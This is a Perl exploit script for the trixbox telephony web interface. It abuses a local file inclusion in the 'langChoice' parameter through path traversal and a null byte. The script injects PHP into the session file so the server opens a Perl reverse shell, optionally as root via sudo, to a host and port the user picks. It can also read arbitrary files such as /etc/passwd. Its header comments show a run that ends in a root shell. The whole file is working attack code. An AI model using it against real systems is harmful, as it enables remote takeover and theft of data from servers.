#!/usr/bin/perl -w
# Jean-Michel BESNARD <jmbesnard@gmail.com> / LEXSI Audit
# 2008-07-09
# This is an update of the previous exploit. We can now get a root shell, thanks to sudo.
#
# perl trixbox_fi_v2.pl 192.168.1.212
# Please listen carefully as our menu option has changed
# Choose from the following options:
# 1> Remote TCP shell
# 2> Read local file
# 1
# Host and port the reverse shell should connect to ? (<host>:<port>): 192.168.1.132:4444
# Which uid would you like for your shell ? (uid=root will be OK on most recent trixbox versions only): [root|asterisk]
# root
# Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444)
# Press enter to continue...
# done...
# nc -l -v -p 4444
# listening on [any] 4444 ...
# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397
# bash: no job control in this shell
# bash-3.1# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# bash-3.1#
use strict;
use Switch;
use LWP::UserAgent;
use HTTP::Cookies;
usage() unless @ARGV;
my $url = "http://$ARGV[0]/user/index.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);
menu();
sub execScript{
my $scriptCode = shift;
post($scriptCode);
my $phpsessionid = extractPHPSID($cookie_jar->as_string);
post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid%00");
}
sub post{
my $postData = shift;
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($postData);
my $res = $ua->request($req);
my $content = $res->content;
return $content;
}
sub readFile{
my $file = shift;
my $content = post("langChoice=../../../../../../../../../..$file%00");
my @fileLines = split(/\n/,$content);
my $fileContent = "Content of $file: \n\n";
for(my $i=3;$i<@fileLines;$i++){
last if($fileLines[$i] =~ m/trixbox - User Mode/);
$fileContent = $fileContent . $fileLines[$i-3] . "\n";
}
return $fileContent;
}
sub tcp_reverse_shell{
my $rhost= shift;
my $rport = shift;
my $uid = shift;
my $rshell;
if($uid eq "asterisk"){
$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e '\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));connect(S, sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN, \">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"} (\"JMB\", \"-i\"));'`;?>%00";
}else{
$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e '\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));connect(S, sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN, \">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\", (\"-i\"));'`;?>%00";
}
execScript($rshell);
}
sub extractPHPSID{
$_ = shift;
if(/PHPSESSID=(\w+)/){
return $1;
}
}
sub menu{
print <<EOF;
Please listen carefully as our menu option has changed
Choose from the following options:
1> Remote TCP shell
2> Read local file
EOF
my $option = <STDIN>;
chop($option);
switch($option){
case 1 {
print "Host and port the reverse shell should connect to ? ";
print "(<host>:<port>): ";
my $hp=<STDIN>;
chop($hp);
print "Which uid would you like for your shell ? (uid=root will be OK on most recent trixbox versions only): [root|asterisk]";
my $uid=<STDIN>;
chop($uid);
my($rhost,$rport) = split(/:/,$hp);
print "Make sure you've opened a server socket on port $rport at $rhost (e.g, nc -l -p $rport)\n";
print "Press enter to continue...";
<STDIN>;
tcp_reverse_shell($rhost,$rport,$uid);
print "done...\n";
}
case 2 {
while(1){
print "Full path (e.g. /etc/passwd): ";
my $file = <STDIN>;
chop($file);
print readFile($file) . "\n\n";
}
}
}
}
sub usage{
print "./trixbox_fi.pl <host>\n";
exit 1;
}
